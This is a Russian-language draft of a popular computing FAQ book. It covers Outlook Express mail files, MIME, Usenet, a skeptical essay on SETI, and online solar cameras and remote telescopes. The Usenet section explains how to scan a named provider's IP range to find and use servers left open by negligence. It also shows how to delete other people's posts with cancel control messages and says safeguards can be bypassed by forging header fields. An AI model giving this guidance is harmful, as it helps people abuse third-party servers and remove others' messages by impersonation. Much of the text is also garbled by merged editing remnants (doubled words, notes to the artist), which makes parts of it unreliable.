В Windows 9x все сообщения хранятся в почтовых файлах "как есть" (см. ответ на вопрос "Где Outlook хранит мои письма?") в одноименных файлах и, открыв их любым подходящим текстовым редактором, можно найти удаленное сообщение, вырезать его и сохранить на диск. В Windows 2000 сообщения так же хранятся "как есть", но имена почтовых файлов по умолчанию не совпадают с именами соответствующих папок – будьте внимательны!

Родственные вопросы:

Где Outlook Express хранит мои письма ?

Я удалил из паки большое количество сообщений, но ее размер не изменился

Q: Что такое MIME?

Аббревиатура MIME расшифровывается как Multipurpose Internet Mail Extensions, что в переводе на русский язык обозначает Многоцелевые расширения почтового стандартна Интернет.

Давным-давно, в далекие доисторические времена, почтовые программы умели обрабатывать лишь текстовые сообщения, а исполняемые, архивные или графические файлы приходилось пересылать отдельно, через ftp. Такое положение дел и в древности не могло никого устроить, поэтому появились специальные программки, которые с помощью различных ухищрений умудрялись закодировать двоичный файл в длинную последовательность, состоящую из одних цифр, символов английского алфавита и знаков препинания. Получатель сообщения запускал программу-декодер, выполняющую обратную операцию и выдающую исходный файл. Сегодня такая схема передачи двоичных данных сохранилась, пожалуй, лишь в сети Fido.

???? Рисунок "карикатура" Чел. кладет в конверт свою фотографию

Но прибегать к помощи сторонних программ не очень-то удобно и с некоторого времени в "Своде законов Интернет" (то бишь RFC) появился новый стандарт на передачу данных, поддерживаемый самим почтовым клиентом. В принципе, по большому счету ничего не изменилось – двоичные файлы по-прежнему кодируются цифрами и символами английского алфавита, изрядно распухая в размере (см. "Сколько к письму добавляется служебной информации и как рассчитать, чтобы почтовый ящик не переполнился"), но теперь это происходит автоматически, скрыто от пользователя, что избавляет его от нужды вникать во все технические премудрости – подцепил файл к письму, кликнул "отправить" и – вперед, аля - улю, гони гусей!

Родственные вопросы:

Сколько к письму добавляется служебной информации и как рассчитать, чтобы почтовый ящик не переполнился

Секреты телеконференций

Никогда не спорьте с фанатиком. Это все равно что бороться со свиньей – ты поливаешь ее грязью, а ей это только нравиться.

Кэрол Бароди

Q: Как находить бесплатные сервера новостей?

В сети существует огромное количество общедоступных серверов, явно или неявно предоставляющих пользователям те или иные ресурсы. Мелкие корпорации, научные и исследовательские учреждения обычно не склонны обременять свои NNTP-сервера (сервера конференций) защитой и порой их ресурсами могут безболезненно пользоваться все остальные узлы сети.

Случайно натолкнутся на общедоступный NNTP-сервер новостей (NNTP-сервер – от английского News Network Transfer Protocol), конечно же, слишком маловероятно, а найти его с помощью поисковых служб, наподобие "Апорта" или "AltaVista" очень трудно. Запрос "NNTP + free" выдаст длинный список бывших когда-то бесплатными серверов, большинство из которых уже успели прекратитьли свое существование или сменитьли политику и ограничитьограничили доступ.

Не проще ли обратится к специализированным сайтам, публикующим информацию подобного рода? Нет!, и вот почему. Дело в том, что Общедоступность большинства ресурсов связана с попустительствами администраторов,.Многие общедоступные ресурсы общедоступны исключительно по халатности администраторов. НоИ, как только на сервер обрушивается стадо любителей халявытолпа невесть откуда взявшихся пользователей, порядком напрягающих канал, политика безопасности быстро меняется администраторы спохватываются и доступ закрываетсявспоминают о безопасности. . Напротив, единичные подключения, даже если и станут замечены администратором, вряд ли будут им пресекаться до тех пор, пока не станут ощутимо мешать.Другое дело, если ресурс аккуратно "юзает" несколько пользователей, самостоятельно нашедших его в сети, - пока они никому не мешают, выгонять их, скорее всего, не станут. Осталось только научиться самостоятельно находить незакрытые сервера…

Простейший способ поиска NNTP-серверов новостей заключается в сканирование IP-адресов. Суть его в следующем: выбирают некий (возможно взятый наугад) IP-адрес, например 195.161.42.149 и пытаются установить с ним TCP-соединение по сто девятнадцатому порту, например, так: "telnet имя сервера 119" (утилита telnet входит в штатную поставку Windows 9x и Windows 2000).

Успешность операции указывает на свидетельствует о наличиеналичии NNTP-сервера на данном узле. Если же сервер отсутствует или не функционален, соединение установить не удастся. В случае успешно установленного соединения остается только убедиться в бесплатности службы, иначе – выбрать другой IP-адрес, и продолжать действовать так до тех пор, пока не кончится терпение или не отыщется требуемый ресурс. Как правило, при сканировании IP-адреса перебираются один за другим с убыванием или возрастанием на единицу за каждый шаг.

В зависимости от качества связи и загруженности тестируемого сервера, ответа на запрос о соединениисоединения приходится ожидать от нескольких секунд до целой минуты! Поэтому, В лучшем случае скорость сканирования составит порядка шестидесяти - ста сотни IP-адресов в минуту, а в худшем же за это же время удастся проверить всего один из них.

Легко посчитать сколько займет исследование даже небольшой сети! (см. "Интернет. Общие вопросы Можно ли увидеть карту всего Internet, связи, каналы, структура?") Какие бы оптимизирующие алгоритмы не применялись, (например, попытки асинхронного соединения с несколькими узлами одновременно), значительно увеличить эффективность сканирования не возможно может быть значительно увеличена в силу огромного числа количества существующих IP-адресов (порядка четырех миллиардов).

Впрочем, диапазон перебираемых адресов можно существенно сузить, если обратить внимание на тот замечательный факт, что все IP-адреса, принадлежащие одному провайдеру, обычно очень близки друг другу (что неудивительно, т.к. .они принадлежат одной подсети).

В следующем примере в качестве объекта сканирования выступает Демос – крупный поставщик сетевых услуг (в том числе и телеконференций), публичный web-сайт которого так и называется , (IP-адрес равен 194.87.0.48).

Используя любой сканер (например, "SuperScan", лежащий на страничке разработчика /rkeir/software.html), можно исследовать узкий диапазон адресов 194.87.0.1 - 194.87.0.254 потратив на сканирование всего лишь десяток - другой минут.

В результате этой операции обнаруживается, что Демос имеет множество внутренних промежуточных NNTP-серверов, открытых для прямого доступа! Например, таких как:

nntp:

nntp:

nntp:

nntp:

nntp:

Другой способ поиска бесплатных NNTP-серверов заключается в изучении заголовков сообщений. В процессе путешествия по сети сообщения проходят через множество транзитных серверов, каждый из которых включает в заголовок свой адрес. Среди транзитных серверов и NNTP-серверов отправителей сообщений часто попадаются и бесплатные сервера.

Полный путь, проделанный сообщением, содержится в поле "Path", а сервер отправителя – в поле "NNTP-Posting Host". В примере, приведенном ниже, показаны заголовки двух сообщений: (поля "Path" и "NNTP-Posting Host" выделены жирным шрифтом):

Заголовок сообщения №1:

Path: !!carrier.kiev.ua!!useua!not-for-mail

From: Nadezda Alexsandrovna <okline@.ua>

Newsgroups: medlux.trade.optika

Subject: I am looking for a permanent wholesale buyer of women's hair 30-60 cm long of all colours. Phone in Kharkov (0572)329639, 364556, fax 329763.

Date: Thu, 6 Apr 2000 05:01:15 +0300

Lines: 16

Distribution: world

Message-ID: <8cgr73$bsl$25@>

Reply-To: okline@.ua

NNTP-Posting-Host:

NNTP-Posting-Date: 6 Apr 2000 02:02:11 GMT

Xref: medlux.trade.optika:904

Заголовок сообщения №2:

From: a@b.c

Subject: ammivit

Reply-To: korzina@

Message-ID: <xjfEiY4l$GA.192@>

Newsgroups:merce

Date: Mon, 27 Mar 2000 04:48:14 +0400

Lines: 25

Path: !

NNTP-Posting-Host: 212.34.32.118

Xref: relcom.medicine.blood-service:2982

Поразительно, но эти два сообщения открывают семь восемь NNTP-серверов (и это еще не самый лучший результат)! Все они, перечислены ниже:

nntp: (бесплатный)

nntp: (хост не найден)

nntp://carrier.kiev.ua (бесплатный)

nntp: (приватный)

nntp: (хост не найден)

nntp: (бесплатный)

nntp: (хост не найден)

И хотя часть узлов по непонятой причине не отвечает, результатами "улова" трудно оставаться недовольным. Анализом всего двух сообщений найдено три бесплатных сервера, разрешающих не только чтение, но и отправку сообщений!

А если проанализировать все сообщения, находящиеся на каждом из этих серверов, и все сообщения на каждом из вновь найденных серверов, подобным рекурсивным спуском можно найти едва ли не все NNTP-сервера, существующие в сети!

Узкое место такой операции - пропускная способность канала, соединяющего ищущего с Интернет. Получать гигабайты сообщений через модемную линию нереально. Поэтому, эту задачу лучше переложить на плечи автономной программки, работающей на узле с быстрым каналом, или различными способами оптимизировать алгоритм (так, например, ни к чему получать от одного и того же адресата более одного сообщения, а количество уникальных отправителей в сети велико, но конечно).

Впрочем, глубокое сканирование сети бессмысленно. Достаточно найти один (ну, с учетом запаса максимум два-три) быстрых и надежных NNTP-сервера, которые ввиду своей распространенности наверняка попадаются оченьпопадутся очень быстро.

На этом секреты поиска бесплатных NNTP-серверов заканчиваются. Конечно, описанные выше операции вручную выполнять было бы затруднительно, но они легко поддаются автоматизации и уже реализованы в десятках различных программ. Большой популярностью пользуется "News Hunter" (/~rain/nh/), который помимо всего прочего генерирует весьма элегантные отчеты и измеряет скорость соединения с каждым узлом, что помогает выбрать наибыстрейший лучший из них.

К сожалению, даже последняя на момент написания книги, четвертая версия News Hunter'a, не снабжена сканером IP-адресов и хотя бы один NTTP-сервер пользователь должен найти самостоятельно.

Для этого пригодиться методика, описанная в начале главы. Достаточно найти любой сервер, предоставляющий доступ хотя бы на чтение к одной-двум конференциям. Анализируя заголовки сообщений, "News Hunter" найдет все остальные.

Рисунок 36 Рисунок 14 Результат работы News Hunter

Используя бесплатный сервер, приходится всегда быть готовым к тому, что в любой момент политика администрирования может измениться, вследствие чего свободный доступ на некоторое время (или навсегда) закроют. Единственный способ этого избежать - пользоваться платными, надежными ресурсами.

Родственные вопросы:

Разное . Что такое telnet и как с ним работать?

Интернет. Общие вопросы  Можно ли увидеть карту всего Internet, связи, каналы, структура?

Q: Как удалить чужое сообщение из телеконференции?

Для начала маленькое лирическое отступление… В далекие доисторические времена, когда сеть была доступна ограниченному кругу лиц, и еще никто всерьез не задумывался о безопасности, для управления NNTP-серверами предложили использовать управляющие сообщения, – если в послании содержалось некое специальное ключевое слово, сервер интерпретировал следующий за ним текст как команды.

Эта методика завоевала большую популярность в виду привлекающей простоты реализации и дожила в неизменном виде до наших дней. Большинство NNTP серверов и сегодня допускают удаленное администрирование, не требуя для этого никаких прав.

Управляющие сообщения отличаются от всех остальных наличием поля "Control" в заголовке или ключевого слова "cmsg" в поле "Subject", оставшаяся часть которого интерпретируется как команды. Поэтому, для администрирования сервера нет нужды в специализированном программном обеспечении, вполне сойдет ваш любимый клиент (например, Outlook Express) .

Порой управляющими считаются поля "Subject", в сообщениях, адресованных группе "all.all.ctl". Забавно, что в попытках защитить свой сервер и установить фильтры для управляющих сообщений некоторые, между прочим достаточно многие, администраторы забывают об этой маленькой документированной (плохо, но документированной) особенности, оставляя лазейку открытой.

Полностью запретить управляющие сообщения администратор не может, поскольку они используются для организации взаимодействия между NNTP серверами. Однако ничего не стоит можно настроить систему безопасности так, чтобы потенциально опасные команды требовали аутентификации и были доступны лишь лицам соответствующих привилегий. Впрочем, в большинстве случаев установленную защиту удается можно с легкостью обойти, используя простейшие приемы подделки полей заголовка.

Для удаления сообщения можно воспользоваться командой "cancel", указав уникальный идентификатор ("Message-Id") удаляемого сообщения. Отправлять такую команду может только администратор сервера или автор сообщения, то есть поля "From" в удаляемом и управляющем посланиях должны совпадать.

Для того Чтобы узнать идентификатор сообщения, достаточно просмотреть его заголовок. В Outlook Express это делается нажатием комбинации клавиш <Alt-Enter>

220 3031 <8cn934$f3r$2@> article

Path: !not-for-mail

From: kpnc@

Newsgroups: s

Subject: Test

Date: 8 Apr 2000 12:35:48 GMT

Organization: Medlux InterNetNews site, Moscow, Russia

Lines: 1

Approved: kpnc@

Message-ID: <8cn934$f3r$2@>

NNTP-Posting-Host:

Xref: s:3031

Значение Message-Id в приведенном выше примере выделено жирным шрифтом. Для удаления этого сообщения достаточно лишь послать на сервер, в ту же самую группу управляющее сообщение, содержащее в поле "Subject" (тем сообщения) следующие строки: "cmsg cancel <8cn934$f3r$2@news.medlux.ru>". Для проверки – удалилось оно или нет – обновите список сообщений или попробуте загрузить удаленное сообщение, если оно еще не было загружено ранее. Опля! Получилось! (Ну, во всяком случае, автор на это надеется)

Впрочем, на локальных дисках подписчиков не произошло никаких изменений, точно как и на всех серверах, уже успевших получить это сообщение.

Внимание: пользоваться управляющими сообщениями следует крайне осторожно!. При возникновении ошибок обработки, сообщение об ошибке возвращается не отправителю, а администратору системы, последующие действия которого предугадать нетрудно.

Секреты WEB

A:Интересные WEB-проекты к которым можно присоединиться

А: Трезвый взгляд на SETI или стоит ли присоедияться к SETI@HOME?

Безоблачная морозная ночь… Небосвод густо усеян сотнями звезд, притягивающими взор. С юга на север протянулась туманная полоска Млечного Пути - тусклый свет миллиардов звезд спиральных рукавов нашей галактики, сливающийся в сплошное свечение.

Воображение бессильно представить себе сто пятьдесят миллиардов безжизненных звезд – а именно столько их насчитывают в одной только нашей галактике., – Природа не творит ничего уникального. Было бы удивительно оказаться тем самым единственным счастливым исключением, на всю что выпадает один раз за всю историю существования Вселеннойую.

Официальная наука придерживается известной точки зрения - ни внеземная жизнь, ни следы ее деятельности в наблюдаемом нами космосе не обнаружены. Правда, неоднократно пытались оценить вероятность ее существования, но наших знаний недостаточно даже для самых грубых оценок.

Достоверно известно лишь приблизительное число звезд, потенциально пригодных для белковой жизни. Сколько же из них обладают планетными системами, мы не знаем. Тем более А сколько из них непредсказуема вероятность существования пригодныхпригодно для обитания? планет. Увы, этого никто не знает… Но даже если у нас есть такая планета - шансы же зарождения (и сохранения!) жизни на ней невелики. Насколько точно они невелики на пригодной для этого планете оценить сказать невозможно - возникновение жизни на Земле и то загадка!

Приведу Еще несколько аргументов. Жизнь (белковая) действительно навряд ли не может быть широко распространена во Вселенной, - далеко не каждая редкая галактика подходит для этого. И неудивительно! Своему существованию мы обязаны не в последнюю очередь гигантским облакам пыли и газа, плотно окутывающим ядро нашей Галактики. Свет и жесткое излучение гигантской черной дыры, расположенной в галактическом центре, тысяч скученных звезд вязнутет в их недрах, так и не долетев до Земли (собственно, излучает не сама дыра, а газ, падающий на нее). Интенсивность излучения оказалась бы губительна для биосферы, не окажись Земля в таком "уютном" месте.

Газ и пыль - следствие молодости нашей Галактики, не успевшей израсходовать свой строительный материал. Не меньше выручает ее "ленивость" - темп звездообразования у нас относительно невысок. Большинство галактик ведут себя иначе, и белковая жизнь в них невозможна. Это трудно себе представить, но это так. Звездные системы, порой в десятки раз превосходящие нашу, оказываются заведомо мертвы (во всяком в нашем, белковом, понимании жизни).

Аналогично, не в любом месте галактики, пригодной для существования, возникают благоприятные условия для возникновения жизни. Рядом не должно быть активных объектов, звезд-гигантов, опасных эруптивных переменных; звезда-родительница должна сформироваться из вторичного строительного материала, обогащенного тяжелыми элементами, образующих в будущем твердую поверхность планет…

Но даже этого может оказаться недостаточно! Сформулирован далеко не полный перечень условий, обязательных для зарождения жизни. Так, например, недавно появилась гипотеза о влиянии Плутона на дела земные. Казалось бы, самая далекая и неприметная планета (да и то не планета, а так…) Солнечной системы рискует оказаться ключевой.

Ученых давно удивлял неожиданно слабый поток излучения, исходящий из недр космоса. Солнечная магнитосфера – наш основной щит от частиц высоких энергий – заведомо не могла так хорошо с ним справляться! Оказалось, Плутон, находясь на самой границе солнечной магнитосферы, обладает собственным весьма недурственным магнитным полем, которое сливается с солнечным, усиливая его.

Сейчас не важно так это или нет. Это может оказаться так, и тогда жизнь действительно намного более редкая штука, чем мы сейчас представляем. (прим. пока книга готовилась к печати, данная гипотеза была с разгромным треском опровергнута). Обратим внимание и на другой момент. Существование любой цивилизации по космическим меркам не может быть очень долгим (подумаешь, миллиардом лет больше, миллиардом лет меньше). Тогда, по прогнозам Шкловского, цивилизации окажутся разбросанными не только пространстве, но и во времени!

Такова печальная картина мира глазами реалиста (или скептика?). Впрочем, это не мешает заниматься поиском внеземных цивилизаций и попытками установить контакт с братьями по разуму. Идеи эти не новы и берут свое начало с той незапамятной поры, когда люди поняли, что планеты вовсе не божественные светила, а далекие космические тела, подобные Земле.

Марсианами тогда бредили не только обыватели, но и ученые. Даже хотели зажечь на разных материках гигантские костры, изображающих определенные геометрические фигуры. По человеческой логике, марсиане должны увидеть огни в телескоп, удивиться их математически правильному расположению, и на этом основании сделать вывод об обитаемости Земли.

Доподлинно неизвестно осуществили этот замысел или нет, но с наступлением эры космических полетов, выяснилось, что Марс необитаем, – нет там ни телескопов, ни наблюдателей. Неожиданно Космос оказался на порядок просторнее и скучнее.

Ближайшие звезды, возле которых могли бы жить разумные существа, находятся в десятках световых лет от нас, - расстояния вроде бы приемлемые для радиоволновой связи. Собственно, с радиоволн все и началось:

Еще по-летнему теплым осенним днем, 19 сентября 1959 года, в 4690 номере журнала "Nature" была опубликована пионерская работа двух ученых Дж. Коккони и Ф. Моррисона "Поиск межзвездных коммуникаций". Суть ее сводилась к следующим тезисам:

- электромагнитные волны оптимальное средство общения с внеземными цивилизациями;

- внеземные цивилизации пытаются установить с нами связь;

- сигналы внеземных цивилизаций должны быть узкополосными и непериодическими;

- сигналы вероятнее всего ожидать на длине волны 21 см;

- источник сигналов должен в точности совпадать со звездной системой, допускающей существование белковых тел;

Именно эти принципы практически в неизменном виде и были положены в основу проекта SETI (Search for Extra Terrestrial Intelligence). {УБРАТЬ КУРСИВ >>>} Не то, что бы иные исследования совсем не велись, но предпочтение им отдавалось явно второстепенное.

Сегодня такой подход к проблеме вызывает не более чем снисходительную улыбку специалистов. Амбициозный Архипов во всю критикует застоялое болото, призывая опустить взгляд с небес на Землю и Луну. Туда, где возможно сохранились артефакты и останки кораблей иных цивилизаций, - стоит только хорошо поискать, и найти если не иголку в стоге сена, то каплю в океане.

Впрочем, к идеям Архипова вернемся позже, а сейчас обратим внимание на один удивительный факт. Аппаратура, предназначенная для поиска внеземных цивилизаций, отдает практически все часы наблюдений другим программам. Типичный случай телескопа "двойного назначения" наш знаменитый "шестисотый" РАТРАН. Антенна этого грандиозного сооружения, построенного человечеством, превышает в диаметре половину километра! Одной из задач телескопа при его конструировании, значилось "поиск внеземных цивилизаций".

Этим же вопросом не уставали интересоваться все высокопоставленные чиновники, посетившие телескоп. Стыдливо умолчим, какую лапшу им ухитрялись вешать на уши - радиоастрономы, стесненные графиком наблюдений, просто не могли отдавать драгоценное время на такую чепуху.

Правительства двух сверх держав не жалели денег на подобные расходы. Низкая вероятность контактов ничуть не смущала. Для "выдаивания" инвестиций использовался следующий аргумент: предположим, соседней державе удалось стся наладить контакт с высокоразвитой цивилизаций, щедро разбрасывающейся новыми технологиями. В результате - доминирование одной державы над всем миром. Допустить этого ни одно уважающее себя правительство не могло. Каждый хотел быть первым. А не состоится контакт - еще лучше - стабильность и спокойствие на планете.

Но не стоит воспринимать SETI, как грандиозное надувательство, – проект SETI это одно, а удачный повод для инвестиций своих проектов - совсем иное. Между тем, значительная часть астрономического оборудования была построена благодаря соперничеству двух держав за первенство в межзвездных контактах.

Удивительным оказывается другое. Пионерские (так и хочется произнести это слово с акцентом "пыонэрские, панимащь, да?") положения SETI и по сей день остаются в неизменном виде, как бы ни была ясна их несостоятельность. Остановимся на этом моменте.

Начнем с критики первого "постулата". Электромагнитные волны и в самом деле могли казаться заманчивыми на первых порах. К их достоинствам можно отнести, например, отличную проникающую способность. Свет слишком быстро рассеивается на атомах и молекулах газа и пыли (кои в окрестностях нашей Галактики водится в изобилие). В радиоволнах же космос прозрачен.

А теперь о недостатках: скорость триста тысяч километров в секунду невообразима велика только в земных масштабах. Для двухсторонней связи даже с ближайшими звездами она непригодна.

Теоретически можно допустить, что некая цивилизация послала свой "мяв" во Вселенную, не дожидаясь ответа. Не будем задаваться вопросом ценности сигнала, выпушенного цивилизаций, успевшей к моменту его получения развеяться в прах. Лучше подумаем, как его вычленить из космических шумов. Это только невооруженному глазу Вселенная кажется спокойной и стационарной. Радиоволны же доносят шумы, трески, последние вздохи погибающих звезд, иногда перекрываемые загадочными еще ни с чем не отождествленными стонами. Бессмысленно слушать Вселенную, точно не представляя какой звук какому процессу принадлежит.

Впрочем, можно сосредоточится в узком волновом диапазоне, одним махом отсеяв множество помех. Нужно лишь "договориться" с внеземной цивилизацией какой именно частоте следует отдать предпочтение. А почему бы не численно равной длине волны нейтрального водорода - самого распространенного вещества во Вселенной?

Отсюда и взялись "пресловутые" 21 см. Ожидается, к такому же выводу придут и далекие "братья по разуму". Никаких других соображений на этот счет нет. Но кто поручится за логику неизвестной цивилизации? Может быть (даже, скорее всего), с ее точки зрения, более предпочтительной окажется другая частота.

Но даже сверхцивилизация не может позволить роскоши всеволнового всенаправленного передатчика. Ни технически, ни энергетически это невозможно (и не будем здесь даже обсуждать почему). С другой стороны, узконаправленный луч может бесконечно долго обшаривать космос, не находя адресата.

Таким образом, надежда на сколь ни будь продолжительное во времени послание рассеивается, словно утренний туман. Сумеем ли мы отличить кратковременный импульс послания (если вообще поймаем его) от естественных космических шумов?

Можно ли гарантировать, что послание будет исходить со стороны звездной системы? Многие ученые, в том числе уже упомянутый Архипов, убеждены в экологической не безопасности подобного передатчика для собравшей его цивилизации. Почему бы тогда его не вынести далеко за пределы своей системы?

Но пыл неисправимых оптимистов ни цифры, ни аргументы не охлаждают. Попытаемся отправить их с тыла на фронт. Разделимся на группы, раскиданные по широкой степи. У каждого из нас фонарик да бинокль. С наступлением темноты попробуем связаться друг с другом. Задача простая - установить контакт, ухитрившись передать информацию о себе.

Не будем ухмыляться над тепличностью условий. Повод поржать (иначе не скажешь) у нас еще будет. С расстояния 10 5 км, когда луч фонарика отчетливо(!) виден в бинокль, группы с завидным упрямством обнаруживать себя отказываются. За исключением единичных случаев стабильное общение начинается лишь когда ближайшие соседи расположены в пределах полукилометра друг от друга, – по космическим меркам, совсем рядом.

После провала такого эксперимента требуется неординарная наглость надеяться на связь с цивилизацией, возможно негуманоидного типа, отличным техническим уровнем, а, тем более, логикой и языком.

Небесспорен и последний тезис. Откуда взялась уверенность, что с нами хотят установить связь? Кто и насколько этого хочет? Тем паче, что связи, как таковой не будет. Во всяком случае, на радиоволнах.

К сожалению, сегодня ничего нельзя предложить в альтернативу. Более быстрыми носителями информации мы не располагаем. В нашей Вселенной ни одно взаимодействие, из известных на сегодняшний день, не распространяется быстрее света.

Это пресловутое ограничение действует на все тела, точнее говоря, на все элементарные частицы, из которых "слеплен" окружающий мир. Но, изучая строение вакуума, физики приходят к выводу сложного устройства "пустоты". микромира, физики приходят к выводу, что мир – как бы он ни был огромен – един, а все ограничения – от лукавого. Быть может, это и есть дверь в мир сверхсветовых скоростей?

Так или иначе, это загадки завтрашнего дня…. На этой ноте и завершим главу. Слишком рано и слишком наивно мы пытаемся заговорить с иными мирами. Так, когда-то алхимики пытались получить философский камень, а астрологи – предсказать судьбу по звездам. Впрочем, сегодня мы осознаем неполноту наших знаний и даже пытаемся угадать направление, в котором надо идти.

A:Необычные живые камеры

Сейчас, вероятно никто уже и не помнит, когда в Сети появились первые живые камеры. Идея, лежащая в их основе, проста до безобразия: стоит где-то обычная цифровая камера, периодически делает снимки и автоматически выкладывает их на сайт. Технически ничего сложного, но зато какой эффект! Это же просто чудо, что можно, не вставая со своего любимого кресла, за мгновения ока перенестись на многие тысячи километров, и посмотреть каков там мир на том конце земли! Вот горах Алтая опять идет снег, во Флориде по обыкновению солнечно и многолюдно, а в Москве уже стемнело и потоки машин украшают улицы удивительно красивыми цепочками огней…

Но постепенно все это надоедает, и былой восторг проходит. Мир становится меньше, но вместе с тем и скучнее… Всюду все одно и то же – одинаковые горы, одинаковые города, одинаковые люди с одинаковыми лицами. Между тем, среди этой серой толпы "мертвых живых камер" есть немало изюминок, к которым, сколько их не смотри, тянет обратиться вновь и вновь.

Одним из самых интересных объектов наблюдения оказалось наше дневное светило. Этот ослепительно белый диск живет интересной и весьма активной жизнью. То и дело на нем происходят вспышки, – своеобразные взрывы, обгоняющие ничуть не уступающие в энерговыделении миллионымиллионам атомных бомб, и одновременно с этим порождающие мощнейшие электромагнитные импульсы, устремляющиеся к Земле. Если бы мы могли видеть Солнце в радиодиапазоне, оно бы никому не показалось спокойным, а напротив, шумящим, трещащим и хрюкающим на все лады существом. Иные "хрюки" бывают так сильны, что перекрикивают земные радиостанции и создают наведенные токи в электронной радиоаппаратуре, отчего та начинает работать нестабильно или вообще отказывается работать, и выходит из строя!

Даже в видимом свете, поверхность Солнца не остается абсолютно белой, - местами ее украшают округлые черные точки разного размера, на языке астрономов называемые солнечными пятнами. Чернота пятен обманчива, на самом деле они лишь немногим холоднее окружающей поверхности и раскалены до четырех-пяти тысяч градусов, что значительно больше выше температуры нити накаливания обычной лампочки!

Да и сама поверхность Солнца представляет не застывшую гладь тихого озера, а скорее похожа на кипящую рисовую кашу, бурлящую восходящими и опускающимися конвектными потоками. Только вместо пара, окутывающего кашу, наше светило изрыгает огромные фонтаны солнечного вещества, называемые протуберанцами. Чаще всего силы гравитации не отпускают пленников на свободу, и взлетающий поток по крутой дуге с невообразимым шумом и грохотом падает обратно на Солнце. Но иногда скорость броска бывает так велика, что протуберанец, преодолев притяжение, устремляется в космическое пространство. Не стоит волноваться, – когда он достигнет орбиты Земли, его вещество окажется настолько разряжено, что не причинит нам никакого вреда.

Ну, практически никакого… Ведь биосфера Земли (включая человека) находится в тесной связи с активными процессами, протекающими на Солнце. Некоторые люди из-за них могут испытывать приступы недомогания, повышенной раздражительности, нервозности, утомляемости, в результате чего повышается вероятность аварий и ошибок операторов. Словом, быть в курсе событий нашего светила, отнюдь не излишество, а скорее насущная потребность. Да вот только как эти самые события узнать? По телевидению иногда передают, дескать, готовитесь граждане, на Солнце магнитные бури, типа "Мамай идет", но такие сообщения поступают крайне нерегулярно и не отражают всей полноты ситуации. (Кстати, медики и биологи установили, что наибольшее проявление на организм вспышки оказывают только на пятый и двадцатый день после их возникновения, а вовсе не через те восемь минут, когда магнитные поля достигнут Земли).

К счастью, в Сети есть специальные «живые» камеры, патрулирующие Солнце. Лучше всех, на мой взгляд, с этим справляется космический спутник SOHO, – детище NASA и ESA. Увидеть свежие результаты его работы можно на сайте http://sohowww.nascom.nasa.gov/. Без лишних вопросов и надоедливых баннеров он покажет свежие фотографии Солнца и даже анимированные изображения в формате mpg!

Рисунок 37 ????? Рисунок художнику – выбрать с указанного сервера наиболее подходящие по полиграфическим требованиям изображения

Рисунок 38 Рис _analemma Годичный путь Солнца по небу. (с) Лихачев В.Л.

Среди наземных обсерваторий лучший солнечный сайт, на мой взгляд, имеет обсерватория, расположенная на Медвежьих {"О" с большой буквы >>>}Озерах. Здесь, вдали от больших промышленных городов США, небо круглый год остается удивительно чистым и прозрачным, что и создает благоприятную среду для наблюдений за нашим светилом. Свежие снимки Солнца, вкупе со сведениями о солнечной активности, можно найти по следующему адресу: http://www.bbso.njit.edu/cgi-bin/LatestImages

Рисунок 39 ????? Рисунок художнику – выбрать с указанного сервера наиболее подходящие по полиграфическим требованиям изображения

Когда же Солнце заходит, на небе с наступлением темноты появляются тысячи звезд, притягивающих взор. К сожалению, горожане лишены этой прекрасной картины природы. А ведь какой-то десяток-другой лет назад большинство людей знали, как выглядит Млечный Путь, умели находить сбившуюся в тесную кучку семерку звезд – Плеяды, а самые эрудированные даже могли отыскать ближайшую к нам галактику – "Туманность Андромеды" и огромное облако светящегося газа – "Туманность Ориона".

Рисунок 40 ??? Рис _MilkyWay – Млечный путь

Рисунок 41 ??? Рис M31 Туманность Андромеды

Рисунок 42 ??? Рис _m42 Туманность Ориона

{РАСТЯНУТЬ ЧУТЬ-ЧУТЬ Туманность АНДРОМЕРЫ и чуть обрезать по вертикали с двух сторон Ориона, что бы они сравнялись в размере, а то – некрасиво}

Каждый наверняка видел фотографии этих знаменитых объектов, снятых крупнейшими телескопами. Но фотография это одно, а увидеть их своими глазами – совсем другое! Все компьютерные планетарии в той или иной степени позволяют удовлетворить это желание, но звезды, нарисованные на экране монитора, не идет ни в какое сравнение с "живым" созерцанием окружающей нас Вселенной. К сожалению, не каждому из нас дано хотя бы раз в жизни хотя бы одним глазком заглянуть в настоящий телескоп!

Впрочем, посетив современную обсерваторию, читатель возможно будет очень удивлен, узнав, что в крупнейшие телескопы сегодня никто и не смотрит. Уже в начале века глаз повсеместно заменила фотопластинка, в разы превосходящая его по чувствительности, а затем фотопластинка уступила место ПЗС - матрице, подсоединенной к компьютеру.

Однажды, кому-то в голову пришла блестящая мысль, а что если подсоединить систему управления телескопом к сети Интернет и позволить всем пользователям от мала до велика распоряжаться таким телескопом по своему усмотрению? Идея была подхвачена многими обсерваториями, и вскоре в сети появился новый вид услуг – бесплатный цифровой телескоп, снимающий любой участок неба по вашему требованию, – в принципе все та же "живая камера", но довольно необычная.

Сначала доступ предоставили только к игрушечным телескопам, которые с трудом тягались даже с морским биноклем, но сегодня ситуация изменилась…

Самую живописную изо всех возвышенностей торфяных болот Западного Йокшира (Англия) оккупировала Брадфордовская астрономическая обсерватория. Один из ее инструментов, 460-мм автоматизированный телескоп, отдан на растерзание любителям астрономии, да и всем тем, кто не прочь на мгновение забыть о земной суете и взглянуть на небо, окружающее нас. Достаточно набрать в браузере /rti/index.html, зарегистрироваться на сайте и можно отправлять свои собственные заявки, которые по мере "социалистической очереди" и погодных условий будут переданы телескопу на выполнение.

Конечно, снимки, полученные этим телескопом, не идут ни в какое сравнение с высококачественными фотографами NASA, но ведь и обычные "живые камеры" сильно грешат качеством, но это ничуть не уменьшает их популярности.

Жаль только, что дождливый английский климат и обложная облачность постоянно оттягивают волнующий миг наблюдений на неопределенный срок. Вот, скажем в Санта-Барбаре, климат куда лучше. Кстати, мало кто знает, что на окраинах этого знаменитого города расположена одна астрономическая обсерватория, 356 мм телескоп которой доступен для управления через Интернет. Понятно, чем меньше диаметр телескопа, тем меньше света он соберет, и тем менее впечатляющие изображения будут получены. Да, 356 заметно меньше чем 460, но зато небо над телескопом Санта-Барбары практически всегда чистое и безоблачное, чего нельзя сказать об его английском коллеге, поэтому и работать с ним одно удовольствие – стоит только перейти по адресу http://www.deepspace.ucsb.edu/… Однако, таких желающих как вы временами набегает очень много и телескоп оказывается сильно перегружен.

Тогда ничего не остается делать, как воспользоваться услугами какой-нибудь богом забытой обсерватории, на которую если кто и забредет, так и то по ошибке. Например, 180 мм студенческий телескоп университета штата Айова (http://denali.physics.uiowa.edu/) свободен все сутки напролет, но, несмотря на свой скромный размер, способен порадовать наблюдателей достаточно впечатляющими снимками.

